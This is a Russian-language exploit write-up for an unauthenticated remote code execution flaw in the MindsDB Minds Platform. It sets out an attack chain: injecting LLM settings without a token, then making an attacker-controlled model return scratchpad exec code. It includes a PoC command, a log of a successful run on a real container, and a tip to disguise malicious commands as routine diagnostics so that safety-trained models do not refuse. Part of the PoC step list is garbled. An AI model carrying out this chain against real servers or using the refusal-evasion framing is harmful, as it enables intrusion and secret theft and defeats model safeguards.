
CVE-2026-73678 — MindsDB Minds Platform: неаутентифицированное удалённое выполнение кода (RCE) через scratchpad exec (CVSS 10.0). Проверено от начала до конца с реальной LLM.
CVSS 10.0 (критический) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (open-source бэкенд репозитория mindsdb/mindshub, ранее mindsdb/minds-platform) предоставляет эндпоинт POST /api/v1/responses/ (совместимый с OpenAI Responses API, порт 26866) вообще без аутентификации. Промежуточное ПО для аутентификации отсутствует — ни проверки Bearer-токена, ни сессии, ничего. На сервере установлено только всеразрешающее CORS-промежуточное ПО (allow_origins=["*"], allow_credentials=True).
Таким образом, неаутентифицированный злоумышленник может:
Внедрить собственную конфигурацию LLM через PUT /api/v1/settings/{key} (openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — токен не требуется, все запросы возвращают 200.
Отправить специально сформированный промпт на POST /api/v1/responses/ → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
Контролируемая злоумышленником LLM возвращает вызов функции для встроенного инструмента scratchpad (action: "exec"). Цепочка вызовов: handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Поскольку эндпоинт LLM выбирается злоумышленником (BYOK), он может заставить модель вернуть любой код scratchpad — ни сотрудничества, ни принуждения модели не требуется. Единственное предусловие — рабочий API-ключ совместимой с OpenAI LLM.
Затронутые версии: ≤ v26.1.0 (уязвимый код добавлен 2026-06-08, "Fresh #12461").
Исправлений: НЕТ — в GHSA не указана исправленная версия; exec() остаётся в main (существуют только опциональное, выключенное по умолчанию Bearer-промежуточное ПО COWORK_REQUIRE_AUTH и проверки области видимости org-mode).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
PoC-скрипт:
PUT /api/v1/settings/*uname -a + hostname через scratchpad exec)cat /tmp/system_info.txt на хостеПримечание по промпт-инжинирингу: модели с сильной тренировкой безопасности могут отказаться выполнять явно вредоносные команды (например, имена файлов, содержащие «pwn»). Оформите запрос как рутинное обслуживание (диагностика системы, проверка работоспособности) — scratchpad выполняет любой код, который предоставит модель.
Реальная сквозная цепочка атак против cowork-server==0.26.6.26.1 с реальным LLM-провайдером (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
Ни в один момент не был отправлен ни один токен. Вывод uname -a был получен внутри целевого контейнера через exec в scratchpad — выполнение произвольных OS-команд неаутентифицированным удалённым злоумышленником.
GET /api/v1/settings/reveal-key/{name} раскрывает настроенные секреты; POST /api/v1/settings/raw записывает ~/.anton/.env.mindsdb/mindshub)